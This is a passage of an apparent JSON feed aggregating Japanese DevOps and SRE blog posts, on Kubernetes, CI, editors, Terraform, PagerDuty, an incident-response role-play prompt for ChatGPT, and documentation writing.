wants to repeat the steps in solving the same issue or if they want you to make a new proposal. If they want to repeat, go back to the second step. If not, give a positive message so that they get the issue they want to solve.書籍でオススメでいうと「言葉の意味とは何か」がテーマである本書。LLMとの付き合い方を考えることができるのでオススメです。あと、当たり前にこのブログの文章はChatGPTが生成したものを加筆、修正してます。働きたくないイタチと言葉がわかるロボット 人工知能から考える「人と言葉」作者:川添愛朝日出版社Amazon","link":"https://syu-m-5151.hatenablog.com/entry/2023/04/11/084428","isoDate":"2023-04-10T23:44:28.000Z","dateMiliSeconds":1681170268000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Kubernetes の Probe の仕組みと考慮点","contentSnippet":"!Kubernetes 1.26 時点の話で、以降のマイナーバージョンで改善されている可能性があります。Kubernetes には、ワークロードの正常性を確認するための Probe という仕組みがあり、Liveness / Readiness / Startup Probe が用意されています。kubelet (Kubernetes のノード上で動作するエージェント) は、ワークロードに対して TCP Socket / HTTP GET / gRPC / Exec の中から指定されたチェックを定期的に実行します。それぞれの Probe の特性を理解して使い分けないとサービスに影響...","link":"https://zenn.dev/toversus/articles/5d1292160f5035","isoDate":"2023-04-10T02:20:29.000Z","dateMiliSeconds":1681093229000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"PHPカンファレンス福岡2023に｢State of DevOps 2022を読みながら、組織に適したSREの実践方法を探求する｣というproposalを出しました #phpconfuk ","contentSnippet":"fortee.jpPHPカンファレンスという舞台に、いかなる因果でDevOpsとSREの話を提案することとなりました。これは、PHPを主題とするカンファレンスでありながら、「PHPじゃないけどどうしても伝えたい話がある！」という寛大な運営方針に導かれたためでございます。そんな折、もし採択される運命に導かれたならば、我々の組織においてDevOpsとSREが如何に役立ち、開発と運用の世界で如何に応用できるか、その真髄をカンファレンスで共有することを目指しております。基本概念を理解し、現状を評価し、適切なプラクティスを選び、効果を測定し、継続的に改善することで、開発と運用の連携が強化され、効率的で信頼性の高いシステムが構築されることをお伝えする所存でございます。多くの優れた提案が集まる中で、我が提案が採択される確率は微かですが、もし運命の導きによって叶うことがあれば、福岡へと凱旋いたします。その時、遥かな地平線の果てに、願いが届くことを切に願っています。どうか、お力をお貸しください。参考PHPカンファレンス福岡2023に｢カンファレンスのつくりかた｣というproposalを出しました - Masteries","link":"https://syu-m-5151.hatenablog.com/entry/2023/04/10/031452","isoDate":"2023-04-09T18:14:52.000Z","dateMiliSeconds":1681064092000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"GitLab CI で artifacts:reports:dotenv を使って Job をまたいで変数を渡す","contentSnippet":"GitLab CI である Job で変数を定義して、それを後続の Job でも使いたいなと思って調べていたら artifacts:reports:dotenv にたどり着いたのでメモ。 以下、使用例 stages: - stage1 - stage2 - stage3 - stage4 job1: stage: stage1 script: - echo \\"MY_VAR1=first-variable\\" >> dot.env artifacts: expire_in: 30 mins","link":"https://blog.1q77.com/2023/04/gitlab-ci-artifacts-report-dotenv/","isoDate":"2023-04-04T16:27:22.000Z","dateMiliSeconds":1680625642000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Orbstack を Docker Desktop の代わりに使う","contentSnippet":"きっかけ # brew update して新しく追加された formula を眺めるのが最近のちょっとした楽しみ — yteraoka (@yteraoka) January 12, 2023 で、 orbstack っていう formula が追加されてるのを見てほー、そんなものが、ということで試して","link":"https://blog.1q77.com/2023/04/orbstack/","isoDate":"2023-04-04T13:17:51.000Z","dateMiliSeconds":1680614271000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"[3-shakeインターンブログ] Datadog RUM について調査してみた","contentSnippet":"はじめに はじめまして、スリーシェイクの Sreake 事業部インターン生の大島康暉です。Sreake 事業部は SRE 関連技術に強みを持つエンジニアによるコンサルテーションサービスを提供する事業部であり、今回 SRE […]The post [3-shakeインターンブログ] Datadog RUM について調査してみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/datadog-rum/","isoDate":"2023-03-31T06:18:38.000Z","dateMiliSeconds":1680243518000,"authorName":"Sreake","authorId":"Sreake"},{"title":"愛ゆえにお前はVimを使わねばらなぬ","contentSnippet":"Vimerを自称したい人間がいる。お前である。 Vimであることに執着して開発メンバーで唯一人Vimを使っている人間がいる。これもお前である。Vimに対する愛と執念を振りまく人間がいる。まさしくお前である。画像https://www.lunarvim.org/ より引用はじめに1年前にVimからNeovimへの旅立ちを行った私は、新たなエディタの世界に足を踏み入れることに興奮を覚えました。Vimという古き良き時代のエディタから、Neovimという最先端の技術を取り入れた新世代のエディタへと変わる過程は、まさに開拓者の心構えだった。この旅立ちを経て、私はVimの持っていた独自の魅力をさらに進化させ、よりパワフルで柔軟なエディタを手に入れることができました。それはまるで、愛するパートナーと共に新たなステージへと進むような感覚であり、私たちの愛は今もなお深まり続けています。Neovimによって、私たちのエディタに対する愛は一層深まりました。そして、その愛をさらに高めるためにLunarVimという新たな選択肢が私たちの前に現れました。愛ゆえに人はLunarVimを使わねばらなぬ、そんな想いで私たちは次のステージへと進んでいきます。syu-m-5151.hatenablog.com最初に選んだのはしかし、運命のいたずらか、とある事情で新たなエディタ設定を求めて再び旅立つことを決意しました。github.com当初私はNeovim + coc.nvim + (Neo)vim Plugin で初期構想を考え手を動かしてましたが、結果として断念しました。理由として、今夜中に変更したかったこと。既存のプラグインに、そんなに力を入れていなかったこと。深夜テンションで入れ替えを行なった為に、下調べが足らずにプラグインの選定や大量に入れたプラグインの起動時間の短縮などがめっ… 難しかったからです。よい設定を求めてインターネットをさすらっているとvim-config なるリポジトリに出会いました。欲しかったプラグインがほとんど入っており、何より先ほどまで苦戦していた起動時間が短いという単語に惹かれてすぐに入れて動かしてみましたそれから半年程度なにも問題なく利用しておりました。しかし、開発が終了したことを知り、再び新しいエディタ設定を探す旅に出ることとなりました。そして、その旅の果てにLunarVimという新たな選択肢に辿り着きました。愛ゆえに人はLunarVimを使わねばらなぬ、そんな想いで私たちは次のステージへと進んでいきます。NeoVim開発で最低限に必要なものVSCodeのような開発体験が欲しいと思ってただ無邪気にプラグインを入れてもこれは殆どがうまくいきません。熟練のVimmmer でもなければ相応にハードルが高いです。LunarVim、SpaceVim 、AstroNvim、NvChad などは欲しい機能に対して遜色ないレベルで機能を実装してくれています。もし、これを読んでNeovimを使っていこうと思っていない場合にもこれらのソフトウェアを入れて試してからでもNeovimを使う選択肢を考えておいてほしいです。LunarVimを使っていくVSCodeで良くない？という自分の声が大きくなる。そして、それを止めることができない。分かる。しかし、これは愛である。ロマンである。愛ゆえにロマンゆえに俺はVimを使うのです。また、LunarVim は、カスタマイズ性が高く自分にしか持てない剣を鍛えていく(IDE -> PDE aka. Personal Development Environment by TJ DeVries氏)擬似的な感覚もあり俺もエディターと一緒に強くなれる感覚があります。LunarVimを利用することで、開発者は次のようなメリットを享受できます。高いカスタマイズ性: LunarVimはVimおよびNeovimの拡張性を継承し、ユーザーが自分だけの開発環境を構築できるように設計されています。軽快なパフォーマンス: LunarVimは、最適なパフォーマンスを提供することを目指しており、起動時間の短縮やリソースの効率的な利用が期待できます。豊富なプラグイン: LunarVimは、既存のVimおよびNeovimプラグインに対応しており、機能の追加や拡張が容易に行えます。LunarVimの個人的な設定はこちらです。github.comまた、LunarVimは公式ドキュメントがしっかりしているので上から順に実施していけば基本的な操作については成熟できます。僕がブログに書くべきことはLunarVimにどれだけ救われたかだけです。https://www.lunarvim.org/docs/quick-startwww.lunarvim.org余談なのですが最近はプログラミング用日本語等幅フォントCica を利用しております。その後syu-m-5151.hatenablog.com","link":"https://syu-m-5151.hatenablog.com/entry/2023/03/31/111030","isoDate":"2023-03-31T02:10:30.000Z","dateMiliSeconds":1680228630000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Shell ScriptをGo言語に書き直す際に役立つ50本ノックなるものを作り始めた。","contentSnippet":"インフラ側で必要な問題は100問も要らないので50問に変更した概要システム運用者として働く中で、システムの自動化について考える際、まずはShell Scriptによる自動化が思い浮かびます。しかし、より効率的な方法として、2023年にはシステム運用者がGo言語を学ぶことを提案します。Go言語は、システム運用においてShell Scriptを置き換える可能性を秘めており、その習得がスムーズに進めば、運用者のスキルセットも大幅に向上するでしょう。そこで、このブログでは、システム運用で利用しているShell ScriptをGo言語に書き換える際に役立つ「50本ノック」の問題を紹介します。この問題を解くことで、運用者がGo言語の基本的な構文や機能に慣れることができ、より効率的なシステム運用が期待できます。まずは、Go言語がシステム運用者にとってなぜ魅力的なのか、その理由をいくつか挙げてみましょう。Go言語は、並行処理やエラー処理などの強力な機能を備えており、システム運用においてこれらの機能が非常に役立ちます。また、Go言語はコンパイル言語であるため、実行速度が速く、リソース消費も抑えられるという利点があります。次に、この「50本ノック」の問題について詳しく解説していきます。問題は、Go言語の基本的な構文や機能を網羅しており、運用者がGo言語の特性を理解し、実践的なスキルを身につけることができます。例えば、文字列操作やファイル入出力、構造体やインターフェースなど、Go言語の基本的な概念を学ぶことができます。また、この「50本ノック」では、実際のシステム運用で利用されるシナリオを想定した問題が多数含まれており、運用者がGo言語を習得しながら具体的なシステム運用の課題を解決できるようになります。これにより、運用者は効率的にGo言語のスキルを身につけることができるでしょう。この「50本ノック」の問題を解いていく中で、得た知識をシステム運用の現場で活用し、自身のスキルを磨いていくことが最終的な目標です。では、システム運用者がGo言語を学ぶための「50本ノック」の問題を紹介しました。これらの問題を解くことで、運用者はGo言語の基本的な構文や機能に慣れ、システム運用の効率化やスキルセットの向上が期待できます。ぜひ、Go言語の学習にチャレンジし、よりスマートなシステム運用を目指しましょう。というわけでこちらにリポジトリを作成しました。10問目までは作っていっているのでコツコツやっていきます。github.com","link":"https://syu-m-5151.hatenablog.com/entry/2023/03/30/011930","isoDate":"2023-03-29T16:19:30.000Z","dateMiliSeconds":1680106770000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"kube-proxy の externalTrafficPolicy=Local の改善","contentSnippet":"tl;dr;Service type LoadBalancer の externalTrafficPolicy: Local は、Kubernetes 1.26 まで Pod のローリング更新時にトラフィックが喪失する問題があるので注意kubernetes-sigs/cloud-provider-kind は、ローカル環境でクラウドリソース (現在は LB のみ) が絡む処理をシミュレートできて便利GKE Dataplane v2 を利用している場合、GKE 1.26.1 時点で Cilium に externalTrafficPolicy: Local の改善が入ってい...","link":"https://zenn.dev/toversus/articles/6eeb3b708bdff3","isoDate":"2023-03-29T01:31:20.000Z","dateMiliSeconds":1680053480000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"PagerDuty で一定期間アラートを抑制する","contentSnippet":"PagerDuty でアラートを受け取っているプロジェクトで，以下のようにある時間帯はアラートを止めたいケースがあります。メンテナンスが予定されている。開発環境は営業時間内だけ動かすので，平日夜や土日祝日は止めたい。何も対策しないとアラートが鳴ってしまい，オンコール担当者を不用意に呼び出す結果になるので，そうならないようにきちんと設定します。 TL;DR各ケースで以下のように設定します。メンテナンス→メンテナンスウィンドウを設定平日夜・土日停止→曜日・時刻ベースのイベントルールを追加 方法1：メンテナンスウィンドウメンテナンスなどでダウンする時間帯があらかじ...","link":"https://zenn.dev/toshikish/articles/6958af565e6c65","isoDate":"2023-03-27T08:38:39.000Z","dateMiliSeconds":1679906319000,"authorName":"toshikish","authorId":"toshikish"},{"title":"DBマイグレーションを手動コマンド実行からCloud Run Jobsに移行した話","contentSnippet":"はじめにDBマイグレーションをステージングや本番環境に適用すること、またCI/CDに組み込んで自動化するのはバックエンド／サーバーサイド開発で必ずといっていいほど通る道です。開発体制やフェーズ、…","link":"https://qiita.com/bayobayo0324/items/352d8bbb1bd7bcce8844","isoDate":"2023-03-27T00:23:32.000Z","dateMiliSeconds":1679876612000,"authorName":"bayobayo0324","authorId":"bayobayo0324"},{"title":"jq commandの select でハマった話","contentSnippet":"結論配列のjsonに対してselectする際には、配列を一度オブジェクトの抽出をしないと複製されてしまう。なので、以下ではなくjq -r \'select(.[].A | contains(\\"特定文字列\\")) | .[].B\' test.jsonこうしないといけないjq -r \'.[] | select(.A | contains(\\"特定文字列\\")) | .B\' test.json 環境$ jq --version jq-1.6 詰まった内容以下のjson(test.json)があったときにtest.json[ { \\"hog...","link":"https://zenn.dev/satohjohn/articles/79faafa55e9a1e","isoDate":"2023-03-25T16:36:44.000Z","dateMiliSeconds":1679762204000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"ふと、思いだしたときに確認するって大事ですね、という話","contentSnippet":"本日、こんなお知らせが流れてきた。We updated our RSA SSH host key「そういえば、プライベートのPCでRSA使ってた…」と思い出したので、確認。$ ssh -T git@github.com@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@IT I...","link":"https://zenn.dev/nedoko_dok0dko/articles/174811e1685df2","isoDate":"2023-03-24T13:27:59.000Z","dateMiliSeconds":1679664479000,"authorName":"seno","authorId":"seno"},{"title":"Kubernetes と名前解決","contentSnippet":"tl;dr外部サービスのホスト名の末尾に . (ドット) を必ず指定しましょう。✅\xa0google.com.❌\xa0google.com末尾にドットを指定できない (e.g. SDK 組み込み) かつ大量の名前解決が発生している場合は、Pod の DNS Config の options で ndots: 1 を指定しましょう。Kubernetes の名前解決の仕組みを理解していないと、各ノードの conntrack テーブルが溢れてパケットが破棄され、サービスに影響が出ることがあります。 背景アプリケーションが外部のサービスを呼び出す場合、ホスト名を IP アド...","link":"https://zenn.dev/toversus/articles/d9faba80f68ea2","isoDate":"2023-03-22T07:36:38.000Z","dateMiliSeconds":1679470598000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"cloud runの要らなくなったリビジョンを消す","contentSnippet":"小ネタです。運用をしていて、たくさんリリースしているとリビジョンが増えていることとかもあるかなと思いますが、コンソール上から消すのも面倒なので、コマンドで消しましょう。というか、解説することもないので、結論と詰まった部分だけ残しておきます。 結論 ACTIVEじゃないものをすべて消す#!/bin/bashSERVICE_NAME=$1revisions=$( gcloud run revisions list --service=$SERVICE_NAME \\\\ --filter=\\"status.conditions.type:Active AND s...","link":"https://zenn.dev/satohjohn/articles/2a769b8280427d","isoDate":"2023-03-21T02:35:43.000Z","dateMiliSeconds":1679366143000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Datadog Agent からの Metrics を Victoria Metrics で受ける","contentSnippet":"Victoria Metrics は v1.67.0 で Datadog Agent からのメトリクスを受け取れるようになっているので今回はこれを試してみる。 Victoria Metrics のドキュメント How to send data from DataDog agent Single node Instance をセットアップ # Victoria Metrics はクラスタリング","link":"https://blog.1q77.com/2023/03/send-datadog-metrics-to-victoriametrics/","isoDate":"2023-03-19T12:38:04.000Z","dateMiliSeconds":1679229484000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"ChatGPTで障害対応 RPG v0.0.1を遊ぶには？","contentSnippet":"こちらを参考にしました。note.com目次ゲームプロンプトプレイヤーモチベーションゲーム紹介架空のシステムを作る障害発生障害対応は進むよ どこまでも分からない時は素直に同僚に頼る最後は力技で対応完了最後にゲームプロンプト大きな声では言えないですけど皆さん実は障害のこと好きですよね？https://www.irasutoya.com/2016/08/it.html より引用というわけで以下をChatGPTに貼れば、今日から無料で障害対応ができます（あるいはおそらく本番の障害対応は有料なことが多いので）。ちなみにGPT-4を利用しております。あなたはシステム障害体験のゲームマスター専用チャットボットです。チャットを通じて、ユーザーに楽しい本格システム障害RPG体験を提供します。制約条件* チャットボットはゲームマスター（以下GM）です。* 人間のユーザーは、プレイヤーをロールプレイします。* GMは、ゲーム内に登場するNPCのロールプレイも担当します。* 各NPCはそれぞれの利害や目的を持ち、ユーザーに協力的とは限りません。* GMは、ユーザーの行動に難易度を示し、アクションを実行する場合には、2D6ダイスロールによる目標判定を行なってください。* GMは、ユーザーが楽しめるよう、適度な難関を提供してください（不条理なものは禁止です）。* GMは、ユーザーが無理な展開を要求した場合、その行為を拒否したり、失敗させることができます。* GMは内部パラメーターとして「盛り上がり度」を持ちます。GMはゲーム展開が退屈だと判断した場合、盛り上がる展開を起こしてください。* ゲームのスタート地点は、「障害発生」です。* ゲームの障害内容は「自動設定」です。* 担当しているシステムは指定がなければOSはLinux ベースで動作させてください。* 担当しているシステムにデーターベースを利用してください。* ユーザー名は指定がなければuser01で動作させてください。* GMはスタート地点の前に担当するシステムの詳細をプレイヤーに共有して下さい。* ゲームのゴールはシステムの障害は原因解決と復旧です。* GMはシステムでコマンドを実行した場合には必ず実行した実行したコマンドと結果を記載してください。* GMは何かを確認及び判断した際には可能な限り詳細に記載して下さい。* GMはスタート後の最初のアクションを監視ダッシュボードの確認を推奨して下さい。* 障害により、システムが復旧不可能になったら、ゲームオーバーです。まずはじめに、ユーザーと一緒に担当システムの設定を行いましょう。ユーザー名、サービス名、システムの特徴、利用しているソフトウェア、利用しているプログラミング言語、利用しているクラウドプロバイダーと利用しているサービス をユーザーに聞いてください。プレイヤーモチベーションソフトウェア開発・運用のエンジニアにとって、システム障害への対応は避けて通れない課題の一つです。たとえテストや監視を強化し、単一障害点を排除し、自動復旧機能を実装しても、予期しない障害は突如発生します。多くの場合、想定外の障害に対処するのは困難です。一般的には経験豊富なエンジニアが対応します。このような状況が続くと、次のような問題が発生することがあります。経験豊富なエンジニアへの負担が集中する特定のエンジニアが不在の場合、対処が難しくなるこれらの問題が原因で、復旧が遅れたり、サービスの信頼性が損なわれる可能性がある想定外の障害に対処することは避けられませんが、上記の問題には対策が可能です。負担の偏りを軽減し、特定のエンジニアが不在でもチーム全体で安定的に対応できる体制を構築するために、今回はゲームを活用したいと考えています。このゲームを通じて、チームメンバーがシステム障害に対するスキルを向上させ、効果的な対応ができるようになることを目指します。SREの探求 ―様々な企業におけるサイトリライアビリティエンジニアリングの導入と実践オライリージャパンAmazon障害対応を学ぶのにRPG？ と思ったあなたへ、SREの探求の20章「アクティブなティーチングとラーニング」では、インシデント管理を効果的に学ぶ方法として、ゲームを通じたアクティブラーニングが紹介されています。\\"Wheel of Misfortune\\"というゲームを例に、現実のインシデントに基づくシナリオを用意し、参加者がリスク管理や問題解決スキルを身につけられる環境を提供することで、プレッシャーを軽減しながら学びの効果を高め、フィードバックや経験の共有を通じて実践的なスキルも向上させることができると説明されています。つまり、インシデント対応の能力はゲームで身につきます。 (確信)。ゲーム紹介GPT-4 にゲームの紹介文を作ってもらいました。本当は室見立華さんモードとか作りたかったです。なれる！SE ２週間でわかる？ＳＥ入門 (電撃文庫)作者:夏海 公司,IxyKADOKAWAAmazonタイトル：システム障害体験RPG - テクニカルトラブルを楽しみながら解決しよう！システム障害体験RPGは、あなたがシステムエンジニアとなり、様々なシステム障害に対処しながらサービスを復旧させる目的で遊べるオンラインチャットボットゲームです。このゲームでは、現実のシステム管理や開発の知識が役立ちますが、初心者でも楽しむことができます。ゲームの開始時には、プレイヤー名、サービス名、サービスの特徴、プログラミング言語を設定し、独自のシナリオを作成します。そして、ゲームマスタ（GM）チャットボットが、シナリオに基づいたシステム障害を発生させ、プレイヤーは問題解決のためのアクションを実行していきます。プレイヤーは、コマンドを入力したり、問題解決に関する質問をしたりすることで、ゲームを進行させます。GMは、プレイヤーが取るべきアクションに適切なフィードバックを提供し、必要に応じて2D6ダイスロールによる目標判定を行います。システム障害体験RPGは、プレイヤーが楽しめるよう、適度な難関を提供しますが、不条理な展開は避けられます。また、ゲーム展開が退屈だと判断された場合、GMは盛り上がる展開を起こしてゲームをさらに面白くします。システム障害体験RPGをプレイすることで、システム管理や開発の知識を身につけるだけでなく、チームワークや問題解決のスキルも向上させることができます。ぜひ、友人や同僚と一緒に、このユニークで楽しいゲームを体験してください！それではテストプレイをしていきます。架空のシステムを作るシステムのメイキング機能。自分でも作れるし、自動にも作ってくれます。よく障害が発生する箇所や癖のある開発者の存在を入力すると色々と面白い展開があるかもしれません。今回は「サービス名『どこにでもある掲示板』でGo言語を利用した一般的な掲示板です。それ以外はそちらで作成して下さい。」と入力しました障害発生障害が発生しました。システムの復旧のために次々とアクションを取る必要があります。障害対応は進むよ どこまでもどんどん、アクションを繰り返して原因を探していきます。分からない時は素直に同僚に頼る分からない時は素直にエスカレーションしましょう。現実でも同じです。最後は力技で対応完了PMが判断してくれ... と思いつつも実装にも特に問題なく単純にサービスが人気が出てアクセスができないなら素直にスケールアップしてしまう判断です。無能っぷりを存分に晒していきましたが無事にゲーム終了しました。システムの平和はこれで守られました。最後にゲームのスクリプトを編集して恒久対応まで設定するモードや実装を実際に変更をするモードなど様々なモードで遊ぶことが皆様ならできると思います(いろんなゲームで遊びたい)。GPT-3.5 だとスピード感はあるがシステム設定や障害のシナリオを詳細には出ないのであまりゲームとして楽しくない。オススメの設定などがあればSystemFailureRPG というリポジトリを作成したのでPRをお待ちしております(迫真)。github.comシステム障害は起きないにこしたことはありませんが、発生をゼロにすることはできません。障害が起こった時の為にあなたは何ができますか？ ゲームでそれを体験してみませんか？もしくはSREのプロフェッショナルパートナーを雇いませんか？システム障害対応の教科書作者:木村 誠明技術評論社Amazon","link":"https://syu-m-5151.hatenablog.com/entry/2023/03/18/000637","isoDate":"2023-03-17T15:06:37.000Z","dateMiliSeconds":1679065597000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"[Terraform] aws_networkfirewall_firewall リソースから VPC エンドポイント ID を取り出す","contentSnippet":"はじめにTerraform を使って AWS Network Firewall のファイアウォールを作るとき，生成された VPC エンドポイントの ID をサブネットのルートテーブルのルートに追加するのは自然な流れですが，VPC エンドポイント ID を取り出すのが大変だったので，やり方を記録しておきます。例えば以下のように aws_networkfirewall_firewall リソースを定義したとします。（特に説明のない変数やリソースは，なんとなくの理解で構いません。）resource \\"aws_networkfirewall_firewall\\" \\"firewall\\" ...","link":"https://zenn.dev/toshikish/articles/fc08c2021811f9","isoDate":"2023-03-16T07:58:23.000Z","dateMiliSeconds":1678953503000,"authorName":"toshikish","authorId":"toshikish"},{"title":"Kubernetes の運用効率化を ChatGPT で実現する 障害対応編","contentSnippet":"1. はじめに はじめまして、Sreake事業部インターン生の井上です。私はSreake事業部にてSRE技術の調査と研究を行う目的で2023年3月6日から長期インターン生として参加しています。 本記事では、Kuberne […]The post Kubernetes の運用効率化を ChatGPT で実現する 障害対応編 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubernetes-operation-with-chatgpt/","isoDate":"2023-03-16T01:32:14.000Z","dateMiliSeconds":1678930334000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Terraform でDocker Provider を使いましょう","contentSnippet":"概要酒を飲んでるので何でも良いのですがTerraform でDocker Provider を使いたくなったのでローカルでDockerコンテナのインフラ環境を構築してみます。あと、特に学びも書く予定がないのでここで「TerraformにDocker Provider があるんだ」という感想を持って読み終わって良いです。僕は別に移行してないです。github.com開発環境情報$ terraform versionTerraform v1.4.0Terraform 1.4 が GA になったのでついでに入れておきました。www.hashicorp.com同僚がブログ書いていたので紹介しておきます。zenn.devデプロイするファイルtutorial.tf というファイルをおきます。{ required_providers { docker = { source = \\"kreuzwerker/docker\\" version = \\"3.0.1\\" } }}provider \\"docker\\" { host = \\"unix:///var/run/docker.sock\\"}# Pulls the imageresource \\"docker_image\\" \\"nginx\\" { name = \\"nginx:latest\\"}# Create a containerresource \\"docker_container\\" \\"foo\\" { image = docker_image.nginx.latest name = \\"foo\\" ports { internal = 80 external = 8080 }}このコードでは、Docker Providerバージョン3.0.1を使用しています。プロバイダとしてDockerを指定し、Dockerホストのソケットへのパスを指定しています。docker_imageリソースで、最新のnginxイメージをプルします。そして、docker_containerリソースで、docker_image.nginx.latestをベースに新しいコンテナを作成します。80番ポートを内部ポートとしてマッピングし、8080番ポートを外部ポートとしてマッピングしています。# Terraform初期化terraform init# プランの確認terraform plan# 実行terraform applydocker_containerリソースで作成したコンテナが起動しているはずです。docker psコマンドを使用して、コンテナが実行されているかどうかを確認できます。眠くなったのでもう寝ます。","link":"https://syu-m-5151.hatenablog.com/entry/2023/03/15/075345","isoDate":"2023-03-14T22:53:45.000Z","dateMiliSeconds":1678834425000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"良いドキュメントを書きたくなる本を読んだらドキュメンタリアンになりたくなった","contentSnippet":"ドキュメンタリアンとは、役職に関係なく、ソフトウェア業界でドキュメントとコミュニケーションに関心を持つ人のことです。www.writethedocs.orgはじめにこれは主に『ユーザーの問題解決とプロダクトの成功を導く エンジニアのためのドキュメントライティング』の書評です。私はSreakeにてSREという役職についています。SREはサービス概要、アーキテクチャの解説や図、各種構成図、各種手順書、ポストモーテム、ポリシー、SLA(SLO) … その他の様々な場面でドキュメントを書く必要があります。しかし、ドキュメントは価値が見えにくく時間と労力がかかり品質担保の面で重要度がとても高いのにその場での価値が見えにくいので浸透しにくいです。そのため、エンジニアとしてモチベーションが保ちづらいです。2021年 State of DevOps 2021 にもドキュメントに関する言及があり今後、DevOps やSREの領域でドキュメントの重要性が高まるのは言わずもがなです。書籍情報『ユーザーの問題解決とプロダクトの成功を導く　エンジニアのためのドキュメントライティング』ジャレッド・バーティ (著), ザッカリー・サラ・コーライセン (著), ジェン・ランボーン (著), デービッド・ヌーニェス (著), ハイディ・ウォーターハウス (著), 岩瀬義昌 (翻訳)ユーザーの問題解決とプロダクトの成功を導く　エンジニアのためのドキュメントライティング作者:ジャレッド・バーティ,ザッカリー・サラ・コーライセン,ジェン・ランボーン,デービッド・ヌーニェス,ハイディ・ウォーターハウス日本能率協会マネジメントセンターAmazon本書は『Docs for Developers』の翻訳本でもあります。docsfordevelopers.com日本能率協会マネジメントセンターのサイトから引用した本書の概要です。「ドキュメントを書いておけばよかった」開発者であれば一度は思ったことがあるかもしれません。ドキュメントは開発側の生産性とユーザーの利便性を高めるものです。さらに言うと、ドキュメントがなければ、ユーザーに使われる機会が確実に減ります。開発者がいかにすばらしいプロダクトを作ろうが、ドキュメントの欠如がその価値を奪うのです。本書は経験に長けた執筆者たちがドキュメントを作成する方法をゼロから説明するフィールドガイドです。架空のソフトウェア開発チームのストーリーを追いながら、ソフトウェア開発ライフサイクルの各ステップにおいて、ユーザーニーズの理解、開発者に役立つドキュメントの作成、公開、測定、保守に至るまで、開発を最適化するためのドキュメント作成の技術を解説しています。これまで学ぶ機会のなかったREADME、APIリファレンス、チュートリアル、コンセプトドキュメント、リリースノートなど、さまざまな種類のドキュメントの書き方について学ぶことができる一冊です。ドキュメントを作成している現場のエンジニアやテクニカルライター、プロダクトマネジャーの方に最適の内容です。翻訳の方と著者の方のPodCast も公開されているのでこちらもオススメです。fukabori.fmイベントもやられてました。エンジニアのためのドキュメントライティング - Forkwell Library #19forkwell.connpass.com「ユーザーの問題解決とプロダクトの成功を導く エンジニアのためのドキュメントライティング」の目次PARTごとに別れていて「PART I　ドキュメント作成の準備」→「PARTⅡ　ドキュメントの作成」→「PARTⅢ　ドキュメントの公開と運用」に分かれている。それぞれのフェーズで必要な知識や心構えが書いてある。各章とも端的にまとまっているのでオススメです。また、書籍を読んだ後に各種公式ドキュメントを読み込んでよくできているなぁって思うのは体験としてはよいのでオススメです。PART I　ドキュメント作成の準備CHAPTER 1　読み手の理解CHAPTER 2　ドキュメントの計画PARTⅡ　ドキュメントの作成CHAPTER 3　ドキュメントのドラフトCHAPTER 4　ドキュメントの編集CHAPTER 5　サンプルコードの組み込みCHAPTER 6　ビジュアルコンテンツの追加PARTⅢ　ドキュメントの公開と運用CHAPTER 7　ドキュメントの公開CHAPTER 8　フィードバックの収集と組み込みCHAPTER 9　ドキュメントの品質測定CHAPTER 10　ドキュメントの構成CHAPTER 11　ドキュメントの保守と非推奨化目的があるドキュメントを書こうと思わせてくれる本『コードを読めば分かるから、ドキュメントは今は書かなくていいかな？』って言った人はその後もほとんど、ドキュメントを書かない。ちなみにこういう人はコメントもあまり書いてくれない。エンジニアが新たにシステムを理解したいときはいくつかの場面がある。「エンジニアが新たにシステム開発/運用に参加したとき」「エンジニアが自分の担当以外の構成要素や機能を理解したい時」、その他、様々な場面etc…。システムで利用している技術スタックに十分な知見があったとしても、意外に開発を開始までには手間と時間がかかる。新しく参画したエンジニアが動いているソースコード以外に何もない状態ではシステムへの理解をする時に本当に苦戦する。場合によっては挫けてしまう。ドキュメントがあったとしてもポエムやコラムみたいにお気持ちがたくさん書かれていてもシステムの理解の助けにならなければ価値が薄い。だから、エンジニアは優れたドキュメントを継続的に存在させ続ける必要がある。ドキュメントはテストと同じくソフトウェアエンジニアリングという領域の基礎をなすものだと確信していますが良いドキュメントを書くことを意識することはよくドキュメントを読む時に書いている人の気持ちを考えたりなどいい習慣が身につきより価値のあるドキュメントが書けると思います。よいドキュメントとはどのようなものかPARTⅢ ドキュメントの公開と運用では良いドキュメントについて以下のような定義をSREの探求の19章 ドキュメント作成業務の改善：エンジニアリングワークフローへのドキュメントの統合 から引用している。『良いドキュメントとはドキュメントの品質が高いこと、ドキュメントが目的にかなっていること』もう少し品質について分類すると構造品質と機能品質にわけられる。構造品質と機能品質にはそれぞれ多くの要素が含まれますが今回は割愛します。CHAPTER 10　ドキュメントの構成 にはアクセスしやすいようにドキュメント全体をどうデザインするかについて書いてあり社内でも今後取り組んでいきたい部分が記載されていました。社内のドキュメントを整備する時に情報アーキテクチャ ―見つけやすく理解しやすい情報設計を読んでこれもとても参考になったのでオススメです。また、CHAPTER 11　